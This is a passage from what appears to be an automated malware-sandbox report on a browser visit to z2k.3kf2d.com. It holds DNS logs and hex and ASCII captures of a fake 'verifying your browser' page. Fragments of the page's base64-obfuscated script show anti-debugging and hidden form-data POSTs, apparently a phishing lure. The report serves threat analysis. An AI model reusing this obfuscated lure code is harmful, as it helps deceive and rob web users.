Oct 7, 2024 21:55:10.439728975 CEST	192.168.2.5	1.1.1.1	0xa839	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:55:10.440083981 CEST	192.168.2.5	1.1.1.1	0xa4f1	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 7, 2024 21:55:16.275943041 CEST	192.168.2.5	1.1.1.1	0xc0b6	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:55:16.276101112 CEST	192.168.2.5	1.1.1.1	0x7977	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 7, 2024 21:53:04.898966074 CEST	1.1.1.1	192.168.2.5	0x1164	No error (0)	z2k.3kf2d.com		104.21.30.20	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:53:04.898966074 CEST	1.1.1.1	192.168.2.5	0x1164	No error (0)	z2k.3kf2d.com		172.67.150.63	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:53:04.903886080 CEST	1.1.1.1	192.168.2.5	0x9f1e	No error (0)	z2k.3kf2d.com			65	IN (0x0001)	false
Oct 7, 2024 21:53:07.153722048 CEST	1.1.1.1	192.168.2.5	0x663e	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:53:07.153722048 CEST	1.1.1.1	192.168.2.5	0x663e	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:53:07.154098034 CEST	1.1.1.1	192.168.2.5	0x5db	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Oct 7, 2024 21:53:07.154350042 CEST	1.1.1.1	192.168.2.5	0x4a78	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:53:07.154350042 CEST	1.1.1.1	192.168.2.5	0x4a78	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:53:07.154350042 CEST	1.1.1.1	192.168.2.5	0x4a78	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:53:07.154350042 CEST	1.1.1.1	192.168.2.5	0x4a78	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:53:07.154863119 CEST	1.1.1.1	192.168.2.5	0x5eb8	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:53:07.154863119 CEST	1.1.1.1	192.168.2.5	0x5eb8	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:53:07.155076981 CEST	1.1.1.1	192.168.2.5	0xd874	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Oct 7, 2024 21:53:07.865346909 CEST	1.1.1.1	192.168.2.5	0x64cc	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Oct 7, 2024 21:53:07.866082907 CEST	1.1.1.1	192.168.2.5	0xf954	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:53:07.866082907 CEST	1.1.1.1	192.168.2.5	0xf954	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:53:07.906167984 CEST	1.1.1.1	192.168.2.5	0xc209	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:53:07.906167984 CEST	1.1.1.1	192.168.2.5	0xc209	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:53:07.906167984 CEST	1.1.1.1	192.168.2.5	0xc209	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:53:07.906167984 CEST	1.1.1.1	192.168.2.5	0xc209	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:53:08.555495024 CEST	1.1.1.1	192.168.2.5	0x4fca	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:53:08.555495024 CEST	1.1.1.1	192.168.2.5	0x4fca	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:53:08.558634043 CEST	1.1.1.1	192.168.2.5	0xd5bc	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Oct 7, 2024 21:53:08.896285057 CEST	1.1.1.1	192.168.2.5	0xb66c	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Oct 7, 2024 21:53:08.896421909 CEST	1.1.1.1	192.168.2.5	0x6d2	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:53:08.896421909 CEST	1.1.1.1	192.168.2.5	0x6d2	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:53:09.312475920 CEST	1.1.1.1	192.168.2.5	0x6988	No error (0)	www.google.com		172.217.23.100	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:53:09.312516928 CEST	1.1.1.1	192.168.2.5	0x697b	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 7, 2024 21:53:11.550987959 CEST	1.1.1.1	192.168.2.5	0x8d39	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:53:14.251723051 CEST	1.1.1.1	192.168.2.5	0x3a9a	No error (0)	templatesmetadata.office.net	templatesmetadata.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 21:55:10.459857941 CEST	1.1.1.1	192.168.2.5	0xf219	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 7, 2024 21:55:10.459889889 CEST	1.1.1.1	192.168.2.5	0x242a	No error (0)	www.google.com		142.250.184.196	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:55:10.462507010 CEST	1.1.1.1	192.168.2.5	0xa4f1	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 7, 2024 21:55:10.462726116 CEST	1.1.1.1	192.168.2.5	0xa839	No error (0)	www.google.com		142.250.185.196	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:55:16.284849882 CEST	1.1.1.1	192.168.2.5	0x7977	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Oct 7, 2024 21:55:16.284882069 CEST	1.1.1.1	192.168.2.5	0xc0b6	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Oct 7, 2024 21:55:16.284882069 CEST	1.1.1.1	192.168.2.5	0xc0b6	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

z2k.3kf2d.com

otelrules.azureedge.net

https:

code.jquery.com

challenges.cloudflare.com

cdnjs.cloudflare.com

www.bing.com

slscr.update.microsoft.com

a.nel.cloudflare.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49714	40.126.32.140	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:05 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-10-07 19:53:05 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-07 19:53:05 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 07 Oct 2024 19:52:05 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BL2 x-ms-request-id: 1f77620c-1a24-4632-82bf-c320a843e3a5 PPServer: PPV: 30 H: BL02EPF0001D8FB V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 07 Oct 2024 19:53:05 GMT Connection: close Content-Length: 1276
2024-10-07 19:53:05 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49721	104.21.30.20	443	7544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:05 UTC	662	OUT	GET /ilPHd/ HTTP/1.1 Host: z2k.3kf2d.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 19:53:06 UTC	1045	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KWDJgpTnE5kXMpTds%2FsRqsllZAa3%2BOWa5VovUtqmxBivvrEpj%2FZV%2Bema4IUXhc3d0pAXFncqzaZQw0O%2F4WLK4Y76hCtapbvAqGkdSexwbrRcQFpyTVorBxvImHYDcg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Set-Cookie: XSRF-TOKEN=eyJpdiI6IjhTMzFxTzdOVHV4OHVqUis3eHZwcmc9PSIsInZhbHVlIjoiSUxRV0V2R2l0Q1Q2cTR0SzlNcTJOTVV5aEFGRUhWdDMydExUaG5NV2RNeTdqYWQ5ZWlrM0JzSG9QdWYxY2VOQmgzSWd2REpZSm0xVkhTMG54a2svVFc4YlVGa2lvM0t6QzZmN0dLc2pxM2xlQ3BtaTg4d1BodEFIV25aakpyengiLCJtYWMiOiI4ZGNlNjM3NTM0YWIxOWFkNmYwOWM4NmMxM2M2ODMyMjQ2NTk2MjkyYzYyODZhN2YwODc1ZTc1MGUyYmU3Nzc2IiwidGFnIjoiIn0%3D; expires=Mon, 07-Oct-2024 21:53:06 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-10-07 19:53:06 UTC	518	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6e 70 71 62 55 77 35 53 44 67 32 63 58 41 77 5a 6c 6c 68 55 56 56 48 65 47 31 74 61 31 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 54 6b 39 4b 51 69 39 54 57 48 68 78 62 30 68 44 62 30 52 55 56 47 64 77 57 45 52 75 4f 54 45 32 54 44 6c 4d 61 6c 4d 78 53 6d 5a 35 57 6d 68 4c 62 45 4a 7a 5a 55 4a 50 52 32 4a 6d 4e 7a 52 55 57 47 78 4b 63 56 68 4a 4d 47 6c 72 62 6e 67 30 63 48 6c 76 63 6a 6c 5a 53 6d 78 46 4b 31 70 51 56 56 4a 30 5a 58 64 43 51 6c 68 36 55 47 64 47 54 33 56 79 62 32 4e 52 4c 31 70 43 65 57 6c 31 5a 44 55 76 62 47 5a 52 5a 32 77 34 54 53 74 78 51 6e 4e 51 53 43 74 58 4e 44 6c 32 61 48 4e 49 5a 44 42 43 51 6d 35 59 4f 44 59 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6InpqbUw5SDg2cXAwZllhUVVHeG1ta1E9PSIsInZhbHVlIjoiTk9KQi9TWHhxb0hDb0RUVGdwWERuOTE2TDlMalMxSmZ5WmhLbEJzZUJPR2JmNzRUWGxKcVhJMGlrbng0cHlvcjlZSmxFK1pQVVJ0ZXdCQlh6UGdGT3Vyb2NRL1pCeWl1ZDUvbGZRZ2w4TStxQnNQSCtXNDl2aHNIZDBCQm5YODY
2024-10-07 19:53:06 UTC	1369	IN	Data Raw: 34 35 35 61 0d 0a 3c 21 2d 2d 20 49 20 66 69 6e 64 20 74 68 61 74 20 74 68 65 20 68 61 72 64 65 72 20 49 20 77 6f 72 6b 2c 20 74 68 65 20 6d 6f 72 65 20 6c 75 63 6b 20 49 20 73 65 65 6d 20 74 6f 20 68 61 76 65 2e 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 54 72 79 20 6e 6f 74 20 74 6f 20 62 65 63 6f 6d 65 20 61 20 6d 61 6e 20 6f 66 20 73 75 63 63 65 73 73 2e 20 52 61 74 68 65 72 20 62 65 63 6f 6d 65 20 61 20 6d 61 6e 20 6f 66 20 76 61 6c 75 65 2e 20 2d 2d 3e 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 2f 2a 20 54 68 65 20 6f 6e 6c 79 20 70 6c 61 63 65 20 77 68 65 72 65 20 73 75 63 63 65 73 73 20 63 6f 6d 65 73 20 62 65 66 6f 72 65 20 77 6f 72 6b 20 69 73 20 69 6e 20 74 68 65 20 64 69 63 74 69 6f 6e 61 72 79 2e 20 2a 2f 0d 0a 69 66 28 61 74 6f 62 28 22 61 48 52 30 63 48 4d Data Ascii: 455a... I find that the harder I work, the more luck I seem to have. -->... Try not to become a man of success. Rather become a man of value. --><script>/* The only place where success comes before work is in the dictionary. */if(atob("aHR0cHM
2024-10-07 19:53:06 UTC	1369	IN	Data Raw: 70 62 69 31 33 61 57 52 30 61 44 6f 78 4d 6a 41 77 63 48 67 70 65 77 30 4b 49 32 46 4b 57 6d 5a 49 57 48 52 59 61 32 30 67 61 44 52 37 5a 6d 39 75 64 43 31 7a 61 58 70 6c 4f 6a 45 75 4e 58 4a 6c 62 54 74 39 44 51 70 39 44 51 6f 6a 59 55 70 61 5a 6b 68 59 64 46 68 72 62 53 42 77 65 32 31 68 63 6d 64 70 62 69 31 30 62 33 41 36 4d 44 74 74 59 58 4a 6e 61 57 34 74 59 6d 39 30 64 47 39 74 4f 6a 46 79 5a 57 30 37 66 51 30 4b 49 32 46 4b 57 6d 5a 49 57 48 52 59 61 32 30 75 59 32 39 75 64 47 46 70 62 6d 56 79 65 33 64 70 5a 48 52 6f 4f 69 41 78 4d 44 41 6c 4f 33 42 68 5a 47 52 70 62 6d 63 74 63 6d 6c 6e 61 48 51 36 49 48 5a 68 63 69 67 74 4c 57 4a 7a 4c 57 64 31 64 48 52 6c 63 69 31 34 4c 43 41 75 4e 7a 56 79 5a 57 30 70 4f 33 42 68 5a 47 52 70 62 6d 63 74 62 47 Data Ascii: pbi13aWR0aDoxMjAwcHgpew0KI2FKWmZIWHRYa20gaDR7Zm9udC1zaXplOjEuNXJlbTt9DQp9DQojYUpaZkhYdFhrbSBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI2FKWmZIWHRYa20uY29udGFpbmVye3dpZHRoOiAxMDAlO3BhZGRpbmctcmlnaHQ6IHZhcigtLWJzLWd1dHRlci14LCAuNzVyZW0pO3BhZGRpbmctbG
2024-10-07 19:53:06 UTC	1369	IN	Data Raw: 62 47 31 76 63 33 51 67 5a 58 68 68 59 33 52 73 65 53 42 30 61 47 55 67 63 32 46 74 5a 53 34 67 4c 53 30 2b 43 6a 77 76 61 47 56 68 5a 44 34 4e 43 67 30 4b 50 47 4a 76 5a 48 6b 67 63 33 52 35 62 47 55 39 49 6d 5a 76 62 6e 51 74 5a 6d 46 74 61 57 78 35 4f 69 42 68 63 6d 6c 68 62 43 77 67 63 32 46 75 63 79 31 7a 5a 58 4a 70 5a 6a 74 69 59 57 4e 72 5a 33 4a 76 64 57 35 6b 4c 57 4e 76 62 47 39 79 4f 69 41 6a 5a 6d 5a 6d 4f 32 4e 76 62 47 39 79 4f 69 41 6a 4d 44 41 77 4f 33 42 68 5a 47 52 70 62 6d 63 36 49 44 49 77 63 48 67 37 5a 6d 39 75 64 43 31 7a 61 58 70 6c 4f 69 41 78 4f 48 42 34 4f 32 39 32 5a 58 4a 7a 59 33 4a 76 62 47 77 74 59 6d 56 6f 59 58 5a 70 62 33 49 36 49 47 4e 76 62 6e 52 68 61 57 34 37 49 6a 34 4e 43 6a 78 6b 61 58 59 67 61 57 51 39 49 6d 46 Data Ascii: bG1vc3QgZXhhY3RseSB0aGUgc2FtZS4gLS0+CjwvaGVhZD4NCg0KPGJvZHkgc3R5bGU9ImZvbnQtZmFtaWx5OiBhcmlhbCwgc2Fucy1zZXJpZjtiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmO2NvbG9yOiAjMDAwO3BhZGRpbmc6IDIwcHg7Zm9udC1zaXplOiAxOHB4O292ZXJzY3JvbGwtYmVoYXZpb3I6IGNvbnRhaW47Ij4NCjxkaXYgaWQ9ImF
2024-10-07 19:53:06 UTC	1369	IN	Data Raw: 57 78 31 5a 54 30 69 49 6a 34 4e 43 6a 77 76 5a 6d 39 79 62 54 34 4e 43 6a 77 76 5a 47 6c 32 50 67 30 4b 50 47 52 70 64 69 42 6a 62 47 46 7a 63 7a 30 69 64 47 56 34 64 43 31 6a 5a 57 35 30 5a 58 49 69 49 47 6c 6b 50 53 4a 36 54 57 4e 30 54 45 39 6a 53 32 64 4f 49 6a 34 4e 43 6c 5a 6c 63 6d 6c 6d 65 57 6c 75 5a 79 42 35 62 33 56 79 49 47 4a 79 62 33 64 7a 5a 58 49 67 5a 6d 39 79 49 47 39 77 64 47 6c 74 59 57 77 67 63 32 56 6a 64 58 4a 70 64 48 6b 67 5a 48 56 79 61 57 35 6e 49 47 4a 79 62 33 64 7a 61 57 35 6e 4c 67 30 4b 50 43 45 74 4c 53 42 4a 49 47 5a 70 62 6d 51 67 64 47 68 68 64 43 42 30 61 47 55 67 61 47 46 79 5a 47 56 79 49 45 6b 67 64 32 39 79 61 79 77 67 64 47 68 6c 49 47 31 76 63 6d 55 67 62 48 56 6a 61 79 42 4a 49 48 4e 6c 5a 57 30 67 64 47 38 67 Data Ascii: Wx1ZT0iIj4NCjwvZm9ybT4NCjwvZGl2Pg0KPGRpdiBjbGFzcz0idGV4dC1jZW50ZXIiIGlkPSJ6TWN0TE9jS2dOIj4NClZlcmlmeWluZyB5b3VyIGJyb3dzZXIgZm9yIG9wdGltYWwgc2VjdXJpdHkgZHVyaW5nIGJyb3dzaW5nLg0KPCEtLSBJIGZpbmQgdGhhdCB0aGUgaGFyZGVyIEkgd29yaywgdGhlIG1vcmUgbHVjayBJIHNlZW0gdG8g
2024-10-07 19:53:06 UTC	1369	IN	Data Raw: 73 4e 43 69 41 67 49 43 42 79 5a 58 52 31 63 6d 34 67 63 6d 56 7a 63 47 39 75 63 32 55 75 64 47 56 34 64 43 67 70 44 51 6f 67 49 43 41 67 66 53 6b 75 64 47 68 6c 62 69 68 30 5a 58 68 30 49 44 30 2b 49 48 73 4e 43 69 41 67 49 43 42 6a 62 32 35 7a 62 32 78 6c 4c 6d 78 76 5a 79 68 30 5a 58 68 30 4b 54 73 4e 43 69 41 67 49 43 42 70 5a 69 68 30 5a 58 68 30 49 44 30 39 49 44 41 70 65 77 30 4b 49 43 41 67 49 47 5a 6c 64 47 4e 6f 4b 47 46 69 5a 55 35 6e 53 32 4a 49 65 58 59 73 49 48 73 4e 43 69 41 67 49 43 41 67 49 43 41 67 62 57 56 30 61 47 39 6b 4f 69 41 69 55 45 39 54 56 43 49 73 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 4a 76 5a 48 6b 36 49 47 35 6c 64 79 42 47 62 33 4a 74 52 47 46 30 59 53 68 34 64 47 31 57 56 32 70 59 56 6b 64 6f 4b 51 30 4b 49 43 41 67 49 Data Ascii: sNCiAgICByZXR1cm4gcmVzcG9uc2UudGV4dCgpDQogICAgfSkudGhlbih0ZXh0ID0+IHsNCiAgICBjb25zb2xlLmxvZyh0ZXh0KTsNCiAgICBpZih0ZXh0ID09IDApew0KICAgIGZldGNoKGFiZU5nS2JIeXYsIHsNCiAgICAgICAgbWV0aG9kOiAiUE9TVCIsDQogICAgICAgIGJvZHk6IG5ldyBGb3JtRGF0YSh4dG1WV2pYVkdoKQ0KICAgI
2024-10-07 19:53:06 UTC	1369	IN	Data Raw: 69 66 28 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 36 4d 6b 73 75 4d 32 74 6d 4d 6d 51 75 59 32 39 74 4c 32 6c 73 55 45 68 6b 4c 77 3d 3d 22 29 20 21 3d 3d 20 22 6e 6f 6d 61 74 63 68 22 29 7b 0d 0a 63 6f 6e 73 74 20 6f 6c 4d 59 66 70 49 61 48 62 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 2e 73 70 6c 69 74 28 27 2e 27 29 2e 73 6c 69 63 65 28 2d 32 29 2e 6a 6f 69 6e 28 27 2e 27 29 3b 0d 0a 63 6f 6e 73 74 20 6b 42 4c 50 48 67 49 54 53 72 20 3d 20 6e 65 77 20 55 52 4c 28 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 36 4d 6b 73 75 4d 32 74 6d 4d 6d 51 75 59 32 39 74 4c 32 6c 73 55 45 68 6b 4c 77 3d 3d 22 29 29 3b 0d 0a 63 6f 6e 73 74 20 49 64 76 75 4c 6d 6a 4c 43 73 20 3d 20 6b 42 4c 50 48 67 49 54 53 72 2e Data Ascii: if(atob("aHR0cHM6Ly96MksuM2tmMmQuY29tL2lsUEhkLw==") !== "nomatch"){const olMYfpIaHb = window.location.hostname.split('.').slice(-2).join('.');const kBLPHgITSr = new URL(atob("aHR0cHM6Ly96MksuM2tmMmQuY29tL2lsUEhkLw=="));const IdvuLmjLCs = kBLPHgITSr.
2024-10-07 19:53:06 UTC	1369	IN	Data Raw: 5a 70 5a 58 64 77 62 33 4a 30 49 69 42 6a 62 32 35 30 5a 57 35 30 50 53 4a 33 61 57 52 30 61 44 31 6b 5a 58 5a 70 59 32 55 74 64 32 6c 6b 64 47 67 73 49 47 6c 75 61 58 52 70 59 57 77 74 63 32 4e 68 62 47 55 39 4d 53 34 77 49 6a 34 4e 43 69 41 67 49 43 41 38 64 47 6c 30 62 47 55 2b 4a 69 4d 34 4d 6a 41 7a 4f 7a 77 76 64 47 6c 30 62 47 55 2b 44 51 6f 67 49 43 41 67 50 48 4e 30 65 57 78 6c 50 67 30 4b 59 6d 39 6b 65 53 42 37 44 51 6f 67 49 47 4a 68 59 32 74 6e 63 6d 39 31 62 6d 51 74 59 32 39 73 62 33 49 36 49 43 4e 6d 5a 6d 59 37 44 51 6f 67 49 47 68 6c 61 57 64 6f 64 44 6f 67 4d 54 41 77 4a 54 73 4e 43 69 41 67 62 33 5a 6c 63 6d 5a 73 62 33 63 36 49 47 68 70 5a 47 52 6c 62 6a 73 4e 43 6e 30 4e 43 69 4e 68 53 6c 70 6d 53 46 68 30 57 47 74 74 49 47 67 30 65 Data Ascii: ZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+JiM4MjAzOzwvdGl0bGU+DQogICAgPHN0eWxlPg0KYm9keSB7DQogIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogIGhlaWdodDogMTAwJTsNCiAgb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCiNhSlpmSFh0WGttIGg0e
2024-10-07 19:53:06 UTC	1369	IN	Data Raw: 74 49 57 6c 74 63 47 39 79 64 47 46 75 64 44 74 39 44 51 6f 6a 59 55 70 61 5a 6b 68 59 64 46 68 72 62 53 41 6a 65 6b 31 6a 64 45 78 50 59 30 74 6e 54 69 42 37 59 32 39 73 62 33 49 36 49 43 4d 32 59 7a 63 31 4e 32 51 37 5a 6d 39 75 64 43 31 7a 61 58 70 6c 4f 6a 45 30 63 48 67 37 62 57 46 79 5a 32 6c 75 4c 58 52 76 63 44 6f 67 4c 6a 56 79 5a 57 30 37 66 51 30 4b 49 43 41 67 49 44 77 76 63 33 52 35 62 47 55 2b 44 51 6f 67 49 43 41 67 50 48 4e 6a 63 6d 6c 77 64 44 34 4e 43 69 41 67 49 43 42 7a 5a 58 52 4a 62 6e 52 6c 63 6e 5a 68 62 43 67 6f 4b 53 41 39 50 69 42 37 44 51 6f 67 49 43 41 67 59 32 39 75 63 33 51 67 64 44 41 67 50 53 42 45 59 58 52 6c 4c 6d 35 76 64 79 67 70 4f 77 30 4b 49 43 41 67 49 47 56 32 59 57 77 6f 4a 32 52 6c 59 6e 56 6e 5a 32 56 79 4a 79 Data Ascii: tIWltcG9ydGFudDt9DQojYUpaZkhYdFhrbSAjek1jdExPY0tnTiB7Y29sb3I6ICM2Yzc1N2Q7Zm9udC1zaXplOjE0cHg7bWFyZ2luLXRvcDogLjVyZW07fQ0KICAgIDwvc3R5bGU+DQogICAgPHNjcmlwdD4NCiAgICBzZXRJbnRlcnZhbCgoKSA9PiB7DQogICAgY29uc3QgdDAgPSBEYXRlLm5vdygpOw0KICAgIGV2YWwoJ2RlYnVnZ2VyJy
